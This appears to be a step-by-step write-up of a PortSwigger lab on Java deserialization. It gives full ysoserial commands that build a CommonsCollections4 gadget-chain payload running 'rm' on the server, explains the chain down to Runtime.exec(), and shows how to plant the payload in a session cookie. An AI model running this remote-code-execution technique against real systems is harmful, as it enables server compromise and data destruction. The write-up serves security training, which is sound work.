Exploiting Java deserialization with Apache Commons

PortSwigger

Lab Description

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don’t have source code access, you can still exploit this lab using pre-built gadget chains.

Objective: Use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.

• Your credentials: wiener:peter

---

---

Step 1: Understanding the Vulnerability

Java deserialization with gadget chains:

• The application uses Java serialization for session cookies
• It loads the Apache Commons Collections library
• This library contains known gadget chains for RCE
• ysoserial can generate malicious serialized objects

The attack:

1. Use ysoserial to generate a payload with CommonsCollections4 gadget chain
2. The payload executes rm /home/carlos/morale.txt
3. Base64 encode the payload
4. Replace the session cookie with the malicious payload
5. The server deserializes the object → RCE → file deleted

---

Step 2: Reconnaissance

Step 2.1: Log In

1. Log in with wiener:peter
2. Capture the session cookie from a request

The session cookie is a Java serialized object (Base64 encoded).

---

Step 3: Setting Up ysoserial

Step 3.1: Download ysoserial

Download from: https://github.com/frohoff/ysoserial/releases

Get ysoserial-all.jar

Step 3.2: Generate the Payload

For Java versions 16 and above (with module opens):

java \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

For Java versions 15 and below:

java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

Step 3.3: Command Breakdown

Part	Purpose
--add-opens=...	Required for Java 16+ to allow reflection
-jar ysoserial-all.jar	Run the ysoserial tool
CommonsCollections4	The gadget chain to use
'rm /home/carlos/morale.txt'	The command to execute
| base64	Convert binary output to Base64

---

Step 4: Understanding the Payload

What ysoserial does:

• Creates a serialized Java object
• Uses Apache Commons Collections gadget chain
• When deserialized, it executes arbitrary commands

The gadget chain:

HashMap → TiedMapEntry -> LazyMap → ChainedTransformer -> 
ConstantTransformer -> InvokerTransformer -> Runtime.exec()

This chain ultimately calls Runtime.getRuntime().exec("rm /home/carlos/morale.txt")

---

Step 5: Injecting the Payload

Step 5.1: Copy the Base64 Output

The ysoserial command outputs a Base64 string. Copy it to your clipboard.

Example output (truncated):

rO0ABXNyABhjvbXhpY29tbWvbnMuYvbXBmdfV0aW9ucy5tYXB0b29s...

Step 5.2: Replace the Session Cookie

In Burp Repeater, replace the session cookie value with your Base64 payload.

Step 5.3: URL Encode the Cookie

Select the entire cookie value and URL encode it (Ctrl+U or right-click → Convert Selection → URL-encode).

Step 5.4: Send the Request

Send any request (e.g., GET /my-account) with the malicious cookie.

---

Step 6: Lab Solved

Success message displayed:

---

---